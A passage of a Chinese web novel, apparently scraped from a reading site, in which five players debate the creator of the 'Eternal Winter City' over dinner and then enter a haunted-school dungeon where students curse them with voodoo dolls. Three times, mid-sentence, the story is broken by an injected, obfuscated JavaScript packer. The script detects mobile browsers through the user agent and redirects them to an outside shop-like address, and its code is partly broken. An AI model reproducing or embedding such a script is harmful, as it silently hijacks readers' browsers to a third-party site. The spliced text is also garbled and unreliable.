“一种,是要死的。另一种,是想死的。”他顿了顿,嘴角扯出一抹笑,“但所有玩家都有一个共同点——痛苦不幸。所以才有了以上‘妄主想创造一个没有痛苦的世界’的猜测。” 回北无奈地摇摇头:“目前我们只能知道这些,还有玩家要补充吗?当然,只能说系统判定可以说的。” 短暂的沉默后,C区一位白发苍苍的老人缓缓起身,拄着拐杖走向讲台。他的步伐很慢,却带着一种不容忽视的威严。 这是初与序在永冬之城第一次见到年长的玩家。 “这是永冬之城现存最年长的玩家,据说他像赵禾那么大的时候就来这里了。”随歌凑近另外三人。 老人立于台上,浑浊的双眼扫过全场,最终缓缓开口: “大道无形,生育天地;妄主造城,逆天而行。” “其心虽慈,其行近妄。想用‘有为’改变‘无为’,用虚的环境解决实的苦难,这是硬要和造化较劲,跟自然过不去。” “《道德经》说:‘人法地,地法天,天法道,道法自然。’今观此城,实为妄主心识所化,似梦非梦,似幻非幻。祂自己不能‘坐忘’,反而陷在救世的执念里。如抱薪救火,薪不尽,火不灭。” “《南华》说:‘安时而处顺,哀乐不能入也。’妄主却反其道而行,以悲悯入世,终为悲悯所噬。此乃‘知不可奈何而安之若命’之反面也。” “有无相生,难易相成。此城为假,众生苦却为真。想用虚妄化解现实,就像追着自己的影子跑,徒劳而已。” “所以《清静经》说:‘众生所以不得真道者,为有妄心。’究其根本,一切苦厄,皆源于执——执于爱憎,执于救赎,执于圆满。” “若要解脱,当破三心、扫四相。外来的救赎终是镜花中水中月;唯有直面本来面目,方见.……” 老人突然咳嗽起来,拄杖的手微微颤抖。台下众人面面相觑,随歌挠头嘀咕:“这老爷子叽里咕噜说啥呢?道法自然?有无相生?古文和现代文结合,能不能说点人话?” 安楚忽然笑出了声,他的声音温润如玉,却带着一丝不易察觉的讥讽: “他说,妄主自以为能拯救所有人,结果把自己搭进去了。” 他慢悠悠翻译道:“简单来说,这个世界本来运行得好好的,但妄主非要插一脚,搞出这个永冬之城。祂可能觉得自己在做善事,实际上傻得要命。” 他继续解释:“《道德经》那段话翻译过来就是,祂完全不懂顺其自然的道理,非要强行改变别人的命运。祂越是想救人,就越是在害人。试图用这个虚假的世界改变真实的痛苦,就像想用影子抓住实物一样可笑。” 安楚轻轻叹了口气:“老人家是说,想要真正解脱,就别指望别人来救你。” “各位在永冬之城挣扎求生,或是解脱,或是苟活……” “可曾想过……或许连妄主自己,都从未得到过救赎?” 整个礼堂鸦雀无声,初与序抬起眼,看向安楚。 “听了这么多,你有什么想法?”随歌用扇子遮住半张脸,看向初与序,小声问道。 初与序沉默着想了想,缓缓开口:“我觉得…妄主可能没我们想得那么傻。” 她声音不大,刚刚好能让周围几个熟人转过头倾听,安楚示意她继续。 初与序继续道:“众生皆苦,可能妄主也没有办法,永冬之城不是祂想创造出来的,而是被迫的。就像我们被迫进入这个游戏一样。” “也有可能祂是真的有办法,改变所有人的生活,只是还没找到正确的办法。” 冬逢初微微点头:“想想看,如果妄主真的那么无能,为什么永冬之城能运行近万年?如果祂的救赎计划注定失败,为什么还要坚持?” 角落里的赵禾冷笑一声:“天真。” 初与序不为所动:“也许吧。但比起把一切归咎于一个‘愚蠢的造物主’,我更愿意相信:” “这里的存在,一定有它的意义。” 礼堂陷入短暂的沉默,连台上那位道家老人都若有所思地捋着胡须。 安楚轻轻鼓掌,笑容温柔:“有趣的见解,不过…”他话锋一转,“初小姐这种想法,和妄主的救世情结有什么区别呢?” 初与序平静地回望他:“区别在于,我不打算救任何人。” “我只想弄明白真相。” 江意看了看时间,轻轻拍了拍手,礼堂里的议论声渐渐平息。他走到老人身边,微微欠身,语气恭敬:“讨论得差不多了,感谢您的分享。” 老人拄着拐杖缓缓走下台,背影佝偻却仍带着某种超然的气度。 回北上前一步,干脆利落地宣布:“第三个议题太危险,暂不展开,现在进入自由讨论时间。” 江意靠在讲台边,目光扫过台下观众:“想继续讨论的可以留下,不想的现在就可以回去了。” 话音刚落,礼堂里立刻响起此起彼伏的椅子挪动声。大部分玩家显然不想多待,纷纷起身离场。D桌这边,随歌第一个站起来:“走了走了,再待下去我要饿死了。” 江意走下台,目光越过逐渐散去的人群,与齐无尽遥遥对视一眼,互相简单地点了点头。 走出礼堂时,冷风扑了满面。初与序刚踏下台阶,一团焦黄的身影突然从路边草丛里蹦出来,精准地装进她口袋里。 “终于出来了!”面包抖落身上的雪粒,“你们在里面吵架,我在外面都快变成冰棍面包了!” 随歌笑嘻嘻地凑过来:“走走走,去我家吃饭,刚好让你们尝尝我的手艺。”他又用手肘碰了碰冬逢初,“你会不会做饭?” 冬逢初点头:“基本上都会做。” 初与序没说话,把手伸进口袋里取暖。夜色中,五人的身影在雪地上留下一串交错的脚印。 来到随歌的住处,推门而入时,初与序发现他的公寓和自己的不同。随歌家没有落地窗,取而代之的是一个半开放的大阳台,玻璃门外能看到永冬之城的雪幕。 客厅不大不小,但布置得很热闹。墙上贴满了手绘的永冬之城地图,茶几上散落着游戏卡和零食袋,角落里还摆着一把棕黄色吉他,看上去已经好久没用。 随歌把外套往沙发上一扔,卷起袖子就往厨房冲:“你们随便坐,让你们见识见识什么叫‘神之厨艺’!” 冬逢初接过他甩来的蓝色围裙,笑着跟进去。 景明垂从袋子里拿出土豆,在手中抛起又接住,放在料理台上开始削皮。江意抱着胳膊询问:“需要我做点什么?” “帮忙在冰箱里拿饮料,放在餐桌上就行。”随歌摆摆手。 江意应了一声,拉开冰箱,里面塞满了各种食材和饮料,最多的就是几大箱草莓牛奶和上次景明垂抽到的巧克力牛奶。 厨房里,随歌正打算加辣椒,忽然停住动作:“对了,你们三个能不能吃辣?” “能吃。”景明垂淡淡道。 “吃不了。”冬逢初专注地切着菜,补充道,“初与序也不能吃。” 随歌放回辣椒:“意哥也不能吃辣,那剩下几个菜我就不放辣椒了。” 初与序靠在阳台门边,看着冬逢初切菜的背影。他下刀很快很稳,土豆在他手下变成均匀的细丝,完全看不出是惯用长剑的手。火腿面包跳到沙发上,称赞道:“哇,这刀工!比系统商店卖的切片机还整齐!” 厨房里很快传来香气,冬逢初安静地熬着汤,热气氤氲中,他的侧脸显得格外柔和。 江意不知何时站到了初与序身后,他斜倚在阳台边缘,西装外套被放在沙发上。脸色依旧很白,但眼神却格外清醒,似乎能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16073547|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看穿任何东西。 “你看上去很烦恼。”他说。 初与序望着窗外,沉默了片刻。 厨房里传来随歌大呼小叫的声音、冬逢初偶尔的简短回应和景明垂的脚步声,面包正偷偷摸摸试图从果盘里顺走一颗水果。 “只是有很多事想不明白。”她最终开口,声音很轻。 江意顺着她的目光看向窗外:永冬之城的夜晚是蓝调时刻,总是笼罩在一片朦胧的雪色中,远处的系统总部大厦亮着冰冷的蓝光。 “那位老者说得有一点我同意。”江意道,“苦难的根源在于执着。” 初与序侧目看他。 江意罕见地露出一个笑:“但问题是,如果不执着点什么,我们还算活着吗?” 厨房里突然爆发出一阵笑声,随歌举着锅铲冲出来:“开饭了!” 冬逢初跟在身后,手里端着一碗热气腾腾的汤。他将汤放好,朝远处的初与序和江意笑了笑:“别在阳台边吹风,容易感冒。” “吃饭吧。”初与序走向餐桌。 五人围坐在餐桌旁,火腿面包则端坐在一个特制的小碟子上。冬逢初给它垫了块餐布,美其名曰“VIP席位”。 桌上摆满了饭菜,初与序顺手帮景明垂盛了碗汤,推到她面前。汤面上漂着几片小小的勿忘我花瓣,不知道两位大厨是什么时候弄来的。 火腿面包用边角捧着一粒米饭啃:“说真的,随歌的伙食比初与序那边的好多了!她一天一顿只吃泡面,我都要变成泡面了!早知道我就投奔随歌了!” 初与序头也不抬:“听到没?火腿面包以后要投奔随歌了。” 随歌哀嚎:“不要啊,我不想听它唱《十只兔子》!!!” 冬逢初安静地吃着饭,偶尔给初与序碗里添一勺她够不到的菜。当初与序的筷子第三次避开胡萝卜时,两人的耳骨夹闪了闪,冬逢初又把胡萝卜移到自己碗里。 “喂喂,知道你们俩话少,也别老用心灵感应!”随歌嚷嚷着,“有什么八卦是我们不能听的?” “不吃胡萝卜。”初与序头也不抬:“还有他说你盐放多了。” “什么?!”随歌跳起来就要辩解,被江意按回座位。 晚饭结束后,随歌正收拾着碗筷,冬逢初的目光却落在了角落里那把木吉他上。琴身有些旧了,但保养得很好,在灯光下泛着温润的光泽。 “随歌。”冬逢初叫他,“这把吉他,你是怎么带进来的?” 随歌的动作顿了一下,抬头看去,:“哦这个啊!”他走过去,手指抚过琴弦,“进永冬之城那天,我刚好在擦吉他。系统判定这算‘贴身物品’,就一起带进来了。” 他随手拨弄了一下琴弦,发出一声清亮的音色:“厉害吧?这可是限量版马丁,当年花了我三个月零花钱,差点没留下演出费。” “演出费?”火腿面包好奇道,“你还演出吗?” “十六岁时,和几个朋友组了小型乐队,我是主唱兼吉他手。”随歌笑道,“当时马上就要比赛了,比赛的歌曲我到现在还记得呢。” “哇!”面包蹦到吉他上,“那你现在弹一首呗!” 江意神色微变,坐直身体。随歌的笑容也僵了一瞬,很快又没心没肺地咧开嘴:“弹不了啦!” 他举起右手,五指张开,露出上面的伤疤,“比赛前被我爸送到竹翰学院‘改造’了一年,右手五根手指被一个姓王的脑残教官打断了,现在连拨弦都费劲。” 他说得轻描淡写,仿佛在讲别人的故事。 当年随歌和江意第二次见面时,是在苏叶的葬礼上。葬礼结束,他问过随歌的手为什么要缠着绷带,当时的随歌也是这么笑着和他说的。 过了很久,冬逢初走到随歌身边,声音很低:“能教我弹吉他吗?我想学。” 随歌愣了一下:“真的?你确定?你要学弹吉他干什么?” 冬逢初抿了抿唇,凑到随歌耳边,用只有两人能听见的声音说了一句话。随歌睁大眼,笑着抓起吉他,眼睛亮了起来:“好啊好啊!你看,首先记住这个C和弦的按法……” 初与序看着两人的背影,冬逢初模仿着随歌的动作,而随歌的眼睛亮得像是盛满了星光。江意轻笑道: “这是他进永冬之城后,第一次主动碰吉他。” 57.扎人偶 次日,下一个副本的通知信息很快被系统分到五人各自的面板上: 【副本名称:《扎人偶》】 【开启时间:2小时后】 【参与队伍:拯救世界顺便偷草莓牛奶计划组(全员强制参加)】 初与序调出永冬之城的搜索框,手指在键盘上快速敲击。屏幕蓝光映在她脸上,她把电脑转向另外四人,上面是她查到的资料。 “找到了。”她指着电脑上的文字说,“‘扎小人’,是一种古老的诅咒方式,用布料或稻草制作人偶,将仇人的生辰八字或贴身物品塞进去,然后用针扎刺……” 她的声音渐渐低下去,因为资料页面上浮现出一张模糊的老照片:几个穿着老旧校服的学生围在一起,正对着桌上的人偶疯狂扎针。照片角落,一个瘦高的女教师站在那里,只看得见下半身。 “这么邪乎?”随歌接过电脑,试图查找这张照片的来源,但因为年代太久,没有任何线索。 “别查了,这照片不一定是真实存在的。”景明垂提醒道,“可能是玩家传着玩的。先清理一下我们可以带进副本的道具。” 五人收拾妥当,将能带的道具全部塞进系统面板,随后来到永冬之城车站,而D019次列车已经静静等候在轨道上。 J23倚在车门边,目光扫过几人,依旧嘴毒道:“几个又来送死了?” 江意面无表情从她身边走过:“你还没报废真是系统最大的bug。” J23不以为意:“听说你们这次要去《扎人偶》?祝你们别被扎成筛子。” “谢谢关心。”冬逢初礼貌地点头致意,声音温和。 五人陆续落座,车厢里的暖气发出嗡嗡的噪音。下一秒,初与序口袋突然动一下,火腿面包从口袋里探出头,芝麻眼睛警惕地打量着四周:“你们这次的副本听起来就很阴间。” 初与序:“???” “我靠你什么时候跟上来的?”随歌被吓了一跳,揪住面包的火腿粒,将它倒着拎起,“我们都容易死在副本里,你一个面包不好好待在家里,要跟过来送死?” “我在初与序口袋里睡觉,一觉睡醒就到这里了!”面包气呼呼道,“我不是故意跟上来的!你个黄毛放我下去!” 初与序扶额叹气:“抱歉,我忘记它还在我口袋里了。” J23用后视镜里看向火腿面包,忍不住笑道:“你们可以把这玩意暂时放在我这儿,代价是等你们从副本出来,告诉我一个关于妄主的真相。” 车厢瞬间安静,连火腿面包都僵住了。 初与序与她对视片刻,淡淡开口:“你知道我们查不到那种东西。” J23点点头,露出一个意味深长的笑容:“行,那就换一个,我要暂时借用它能‘吃掉噩梦’的能力,拿去骗D19。上次我帮他加班,他还没给我报酬。” “成交。”初与序拎起面包扔了过去。 “喂!”面包在空中划出一道弧线,被J23单手精准接住,“你们就这么把我卖啦?” 它话音未落,列车广播里熟悉的机械音响起: 【尊敬的各位玩家您好,您乘坐的D019次列车正在行驶。请您配合工作人员安置好行李,防止遗失。本次列车起点站:永冬之城;终点站:《扎人偶》。接下来,我会为各位介绍副本背景设定:】 【这是一所旧校舍,十年前,高三(4)班全体师生一夜之间消失无踪。警方搜查无果,最终以“集体失踪”草草结案】 【但在这里,人偶不是玩具,而是杀人的媒介。他们用布、草、姓名与血肉,扎进诅咒的容器。针尖刺入的每一寸,都会在活人身上绽放剧痛,或死亡】 【记住,烛火是生与死的界限】 【而各位玩家,五名“转校生”,你们已经被盯上了】 【主线任务:存活三天,并找出高三(4)班全员失踪的真相】 【副线任务:销毁所有针对你们的人偶】 【警告:NPC已持有你们的人偶,诅咒进行中。夜间(21:00-5:00)是NPC的活动跃期。部分区域可能存在诅咒增强物,接触可能触发即死flag】 【祝各位存活愉快】 五人倒是没料到这次副本的地点会在学校,初与序安静地坐在座位上,默默思考着: 关于这次的副本背景:“全员失踪”却无人追查,要么外界掩盖了真相,要么这所学校本身就有问题。自己队伍扮演被盯上的“转学生”,说明玩家并不是随机目标。而白天,学校里的学生们可能会伪装成普通学生,晚上才会暴露杀意,像《灯影诡村》里的村民一样。 关于“人偶诅咒”,人偶需要姓名和生辰。如果NPC不知道玩家的真实八字。他们可以想办法避免让NPC拿到自己的贴身之物。又或者可以反向制作人偶,以牙还牙。 但“烛火是生与死之间的界限”,这句话是什么意思? “我怀疑这次副本里的怪物很多。”随歌压低声音,“上回向枝冥进入的学校副本,整个校园的学生都是怪物。这下我们难办了。” “夜间是NPC的活动跃期,那就让他们永远见光。”初与序分析道,“比如,把全校的照明物品换成长明灯,或者烧了这所学校,系统说要我们找出真相,但没说不能杀NPC。” 随歌:“……” 又是熟悉的放火操作。 【警告:玩家初与序禁止在本次副本使用任何会造成副本场景损伤的行为举动!】 初与序:“哦。” 列车缓缓停下,车门滑开,J23敲了敲方向盘:“到站了,祝你们活着回来。如果死了,我会把你们的火腿面包当点心吃了。” 五人走下车,火腿面包的哀嚎从身后传来:“我的保质期是永久!永久啊——!” 他们到副本的时间较晚,黄昏的余晖将天空染成暗橘色,风卷着枯叶擦过地面,发出沙沙声。五个人站在一栋老旧的三层校舍前,铁栏杆校门锈迹斑斑,歪斜地半开着。 “…这是学校?”江意忍不住质疑,他抬头望向灰蒙蒙的教学楼,窗户玻璃大多碎裂。 初与序低头看向自己身上,发现不知何时,他们五人的衣服全都变成了老式深蓝色校服。宽大的立领、粗糙的布料,胸口别着一枚褪色的校徽,上面模糊地印着“夜山中学”几个字。 景明垂低头摸了摸袖口,手指触碰到一丝潮湿,像是血。她不动声色地擦掉。 校门口,三三两两的学生正往里走。他们穿着同样的校服,但脸色苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16080930|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白得近乎病态,嘴角挂着诡异的微笑。在五人出现在他们视线里时,学生们纷纷向随歌看过来。 “不是,他们看我干什么?”随歌往江意和冬逢初身后躲道,“觉得我长得帅也不用这么看着我啊!” 冬逢初扫了一眼他的黄毛:“可能是你的头发是黄色。” 随歌:“……” “喂,你们是新来的吧?” 忽然,一个扎着麻花辫的女生突然凑近,她的眼睛黑得过分,几乎看不到眼白。 冬逢初点头:“对。” 女生歪着头,笑容扩大:“那快进去吧,快晚自习了。”她示意五人跟上,转身往教学楼的方向走……不对,好像是飘着走的。 初与序盯着她的背影,低声道:“你们有没有觉得,这些人不太像活人?” “你认真的?我胆子小你别吓我。”随歌打着哆嗦,“这个学校不会就只有我们五个活人吧?” 初与序向前迈出一步:“我随便说的,先跟上她。” 踏入教学楼的那一瞬间,四周骤然变冷,仿佛踏入了另一个世界。走廊的灯光昏黄闪烁,墙皮剥落,露出下面发霉的黑色痕迹。 “靠啊,冷死我了~”随歌将校服拉链拉高,遮住脖颈。 “你们看。”江意指了指旁边的公告栏。 几人凑上前,上面贴了一张高三(4)班班级名单,而他们五人的名字赫然在列,被潦草地写在最后一排,墨迹还未干透,像是刚刚被人匆忙添加上去的。 这怎么看都不像是五人主动“转学”过来,而是被“安排”进来的。 就在这时,广播突然响起,刺耳的电流杂音后,一个沙哑的男声缓缓说道: “欢迎…新同学…请…遵守校规…” 广播戛然而止,走廊尽头,几道黑影缓缓转身,朝他们看了过来。初与序注意到那些学生的影子在灯光下扭曲变形。 “哈?”随歌被突如其来的广播声吓了一跳,“校规?不会是‘别被扎小人扎死’之类的吧?” 冬逢初低声说:“我们先找到安全的地方,这里不对劲。” 突然,一张泛黄的纸条从天花板飘落,落在初与序脚边。她弯腰捡起,上面用血红色的字迹写着: 「夜山中学守则第一条:」 「入夜后,不要独自留在教室……」 「除非……你想玩“游戏”」 五人互相对视了一眼,寒意爬上脊背。 “叮——铃铃铃” 尖锐的上课铃骤然炸响,震动得人耳膜发疼。走廊上的学生瞬间安静下来,齐刷刷地转身,朝教室走去。 “走。”初与序低声道,五人混入人群,跟着那些僵硬的身影涌向高三(4)班。 教室门半掩着,里面已经坐了大半学生,却安静得可怕。没有人说话,没有人翻书,甚至连呼吸声都听不见。 景明垂走在最后,刚要踏进门栅,忽然感觉迈不动脚。她低头一看,一只惨白的手从门缝里伸出,死死攥住了她的脚踝! 她手腕上的琴弦仿佛有心灵感应般滑动,在她指间游走。景明垂冷眼看着那只手:“放手。” 那只手僵了片刻,在琴弦要缠上它的前一秒,它老老实实地缩回手,仿佛从未出现过。 58.扎人偶 五人默契地选择了教室最后两排的角落位置,尽量不引人注目。 随歌大咧咧往江意右边一靠,跷起二郎腿和他说悄悄话:“加上在永冬之城的五年,我一个二十五岁的成年人,没想到还有机会在高中教室坐着听课。不过看到这黑板我还是想睡觉。” 江意懒得搭理他,只是低头检查课桌抽屉,手指刚探进去,又缩回来,指尖多出一滴血珠。 几人凑过去一看,他抽屉里散落着碎布、针线、几根细长的木签,还有一张皱巴巴的纸条,上面潦草地写着五个名字: 「初与序、景明垂、冬逢初、随歌、江意」 江意立刻把纸条攥紧,揉成一团。冬逢初迅速扫了一眼自己的抽屉,是空的。但景明垂的抽屉里却躺着一缕深棕色的长发,颜色与发质和她的头发一模一样。 “他们在准备我们的人偶。”初与序从自己抽屉里摸出一根细长的银针,针尖泛着冷光。 讲台上的老师背对着学生,在黑板上缓慢地写着字,粉笔摩擦的声音尖锐刺耳。 突然,教室里的灯光闪烁了一下。 前排一个女生猛地转头,直直地看向五人。她的嘴角缓缓上扬,露出一个过分夸张的笑容。 “新同学。”她轻声说,“你们喜欢玩‘游戏’吗?” 没等五人反应过来,她又僵硬地转回去,继续低头写字。而其他同学,甚至讲台上的老师眼睛都没抬,像是根本不知道一样。 随歌不由得睁大眼:“不对吧?上课说话老师都不管?!” 其余四人:“……” 这些学生明显是在试探,看玩家们会不会露出破绽。初与序抬起头盯着黑板,忽然发现黑板上,老师写下的根本不是课程内容,而是密密麻麻的人名。每一个名字都被划掉。 最后只剩下他们五人的名字。 灯光再次闪烁,这一次,熄灭了几秒。 黑暗中,五人听到布料摩擦声、针线拉扯声,还有像是针尖刺入什么东西的细微声响。 灯光重新亮起,江意猛地站起身,目光锐利地扫视全班。但所有学生都低着头,认真看着书本。 下一秒,景明垂突然闷哼一声,伸手捂住手臂。她的校服袖子下,缓缓渗出一滴血珠。 “他们动手了。”冬逢初微微皱眉,“怎么这么快……” 随歌展开竹扇,朝景明垂伤口处轻轻扇了下,清风拂过,伤口以肉眼能看见的速度愈合。下一秒,讲台上的老师终于转过身,露出一张已经腐烂很久的脸,声音沙哑: “夜山中学守则第二条。” “‘游戏’一旦开始,就不能停下。” 灯光,再次熄灭。 “咯咯咯……”教室里爆发出一阵此起彼伏的笑声,像是无数只老鼠在暗处啃噬着什么。 “嘻嘻…新同学…轮到你们了…” 黑暗中,一个瘦高的男生的脸在偶尔闪过的月光下泛着青白色。他的左手正捏着一只粗糙的布偶,布偶的脖子上歪歪扭扭地缝着“景明垂”三个字。 他的右手捏着一根细长的银针,针尖对准人偶的喉咙,嘴角咧到耳根。 “先解决掉最难打的那个…”他兴奋地低语,针尖缓缓下压。 忽然,“嚓”一声,一簇微弱的火苗在他座位旁亮起。 男生猛地转头,瞳孔收缩。 初与序半弯着腰,站在他身侧,右手举着打火机,火光映照着她半张冷白的脸。她的眼睛在阴影中很黑,嘴角带着一丝若有若无的笑。 “你拿的是我朋友的东西吗?”她轻声问。 男生手上的针僵在半空,喉咙里挤出一声短促的喘息,显然被吓得不轻。 初与序左手闪电般伸出,一把扣出他的手腕,拇指狠狠掐进他虎口的穴位。男生痛呼一声,人偶脱手而出。她稳稳接住,手指轻轻抚过布偶脖颈处。 男生脸色惨白,明显没料到玩家胆子这么大。他想伸手去抢,却被初与序一个眼神钉在原地。 黑暗中,其他学生的笑声戛然而止。 “林浩…失手了?”有人小声嘀咕。 初与序直起身,打火机的火苗微微摇曳,映出她身后四个蓄势待发的影子。 冬逢初一脚踩住林浩的椅子,阻止他起身;随歌已经摸到了电灯开关旁;江意和景明垂一左一右堵住了教室前后门。 随歌拍亮电灯,刺眼的白光下,全班学生僵硬地坐在原位,脸上的狰狞还未来得及褪去。而讲台上,老师那张原本腐烂的脸此刻恢复了正常。她尴尬地咳嗽了一声,手中的粉笔掉在地上,断成两截。 初与序将人偶递给景明垂,景明垂接过,手指抚过人偶的脖颈。 “做的好丑。”她评价道,语气平静。 “继、继续上课。”老师结结巴巴地说,转身在黑板上写下数学公式,粉笔断了好几次。 学生们低着头,机械地抄写着板书,再也没有人回头张望。景明垂发现前排几个学生的课桌抽屉里,原本准备好的碎布和针线不知何时被匆忙塞到了最底层。 灯光再也没有熄灭过。 随歌歪着头,笑嘻嘻地用口型对几人说:“这才是正常的晚自习嘛,就是有点犯困。” 初与序靠在椅背上,侧过头,目光落在窗外雾蒙蒙的天空中。 拿回景明垂的人偶只是拖延时间,她清楚这些NPC不会就此罢休。他们会重新准备材料,缝制新的人偶,甚至可能用更阴毒的手段。 现在最麻烦的是,自己等人手上没有他们的“媒介”。 头发、指甲、生辰八字等等这些贴身之物,才是制作人偶的关键。没有这些,就算知道方法,也无法反制。 她微微侧头,余光扫过教室前排那些看似安静的学生们。他们低着头,笔尖在纸上沙沙作响,仿佛真的在专心学习。但他们的身上或许正藏着新的材料,已经开始准备下一轮。 副本背景故事里提到的“十年前班级集体失踪事件”是个突破口,如果这所学校真的发生过什么,那现在这些NPC们,就是当年的“参与者”,或者“受害者”。 但如果这件事的真相是单纯的复仇或者诅咒,就没必要用“扎人偶”这种迂回的方式。 初与序看向窗外漆黑的夜色。 讲台上,老师的声音突然提高了一度,像是刻意打断她的思绪。她收回视线,随手翻开桌上的课本。 晚自习结束,下课铃尖锐地划破寂静,教室里原本紧绷的气氛似乎也随之松动。初与序合上根本没在看的课本,轻轻敲了一下桌面,声音不大,却足够让另外四人转头看向她。 “趁着熄灯前,找找图书馆在哪里。”她站起身,“十年前的失踪案件,总该留下点东西。” 冬逢初立刻会意,低声接道:“档 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16080931|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案、校刊,或者当年的学生记录,应该都放在了图书馆。” 初与序点头,看向教室门口。那些NPC学生正三三两两地离开,但有几个人的视线仍若有若无地往他们这边飘。 五人走出教室,走廊的灯光忽明忽暗,远处传来学生迷糊的谈笑声,但听得不真切。 他们在学校转了一大圈,终于在四楼走廊尽头找到了一扇半掩着的大门。门上的牌子已经锈蚀,但依稀能辨认出“图书馆”三个字。 推开图书馆沉重的木门,一股霉味混着油墨纸的气息扑鼻而来。初与序扫视着整个空间: 天花板上的吊灯摇摇欲坠,仅剩的几盏灯泡苟延残喘地亮着,投下昏黄的光晕。灰尘在光束中浮动,显然这里已经很久没人来过。 书架排列得过分密集,几乎要挤占走道的空间。江意随手抽出一本书,上面的字迹大多已经褪色,模糊不清。他又放回书,目光落到角落里。那里堆着发黄的旧报纸,轻轻一碰可能就会碎掉。 “这种地方真的会留下线索吗?”随歌展开竹扇在鼻子前挥了挥,忍不住询问。 “如果没有人故意销毁,还是会留下线索的。”冬逢初轻声道,他缓步上前,鞋底踩在老旧的地板上,发出细微的“吱呀”声,在寂静的图书馆显得格外刺耳。 江意抱着胳膊站在书架前,吐槽道:“这地方像是专门给鬼看书用的。” 另外四个“鬼”:“……” 冬逢初的目光落下最深处的一排书架上,那里的灰尘分布不太自然,他一本书一本书看去,最终在泛黄的校刊上停住。 这本2015年的校刊比其他刊物显得更加陈旧,边角处有明显的烧灼痕迹,似乎有人曾经试图销毁它却又中途放弃了。 “找到了。”他说,轻轻翻开脆弱的纸页,在“校园要闻”栏目里,一则简短的报道被刻意安排在不起眼的角落: 「《高三(4)班集体休学事件调查》」 「2015年11月15日,我校高三(4)班37名学生及班主任王某某集体申请休学。经校方核实,该班学生均因家庭原因办理退学手续。目前…」 剩下的部分被人用墨水刻意涂黑。 报道旁边有一张配图,但那里的位置现在只剩下四道泛黄的胶痕,照片被人粗暴地撕去,只留下一个模糊的方形印记。但在页面边缘,几人注意到一个用铅笔写下的细小标记: 「他们还在教室里。」 这行字迹已经模糊得几乎不可辨认,像有人趁着无人注意时匆匆写下的。 “校方这是把学生当傻子?”江意嘴角扯起一个讥讽的弧度,“这借口编得很烂。” 冬逢初继续往后翻,在校刊最后的“校友留言”板块发现更多蛛丝马迹。几段看起来平常的祝福语中,夹杂着诡异的只言片语: 「希望四班的同学们在那边过得好」 「永远记得11月15日的班会」 「人偶游戏很好玩,你们要不要也试试?」 冬逢初小心地将校刊合上,却发现封底内侧不知何时出现了一行用红笔写的,很潦草的字迹: 「找到照片的人要一起玩游戏哦~」 就在这时,初与序听到身后书架间传来“沙沙”的声响,像是有人轻轻翻动书页。但当她回过头时,只看到一排空荡荡的书架,和地上缓缓飘落的几片碎纸屑。 59.扎人偶 广播里传来沙哑的电流声,随后是熟悉的声音: “熄灯时间快到,请所有学生回到宿舍…夜间禁止在走廊里逗留…” 声音在空旷的教学楼里回荡,五人交换了一个眼神。随歌挠挠头:“宿舍?我们有宿舍吗?” “就在教室里凑合两晚。”初与序简短决定。 五人回到高三(4)班,将几张课桌拼在一起,当作简易的床铺。景明垂检查了门窗,确认锁好,又默默把窗帘拉紧,遮住了窗外浓稠的黑暗。 江意和随歌负责前半夜的守夜。 月光被厚重的窗帘相隔,只剩下一点惨淡的微光渗进来,在地板上投下模糊的轮廓。教室里太安静了,这种安静不太对劲。学校就算到了深夜也该有点风声、虫鸣等,可这里却像是被塞进了真空,连五人的心跳声都有点吵闹。 随歌靠在窗边,双手枕在脑后,眼睛却始终盯着教室前门的那条缝隙。他凑近江意,用气音说:“意哥,太安静了…” 江意坐在窗台边,他点点头,目光扫过每一个角落,确认阴影里没有藏着什么东西,才稍稍放下心来。 随歌换了个姿势,把眼睛凑到门上的猫眼,漫不经心地往门外一瞥。 “……操。”他忍不住低声骂了一句。 走廊上,几点幽暗的烛火正缓缓移动。 十几个学生正排成一列,每个人手里举着一支蜡烛,烛火在黑暗中明明灭灭。他们的脸被烛火映得惨白,嘴角却挂着诡异的微笑,眼睛直勾勾地盯着前方,嘴唇一张一合,听不清在念什么,似乎在进行某种仪式。 而最前面的,正是白天被初与序夺走人偶的林浩。他的手里捧着一个新缝制的布偶,能看出是个女性人形,针脚细腻,甚至缝上了五官。 布偶的脖子上,缠着一缕黑色的长发,颜色和发质看上去和初与序的一模一样。 看来他们做了一个“初与序”人偶。 随歌下意识想回头叫醒其他人,结果一转身,就看见原本熟睡的三人不知何时从桌上坐起,安静地看向门口,连呼吸声都没发出。 “你们他妈……”随歌差点被吓得咬到舌头,“醒着能不能出个声?吓死我了!” 初与序没理他,翻下课桌走到门边,学着他的样子也透过猫眼往外看。景明垂已经无声地移动到窗边,和江意交换了一个眼神。 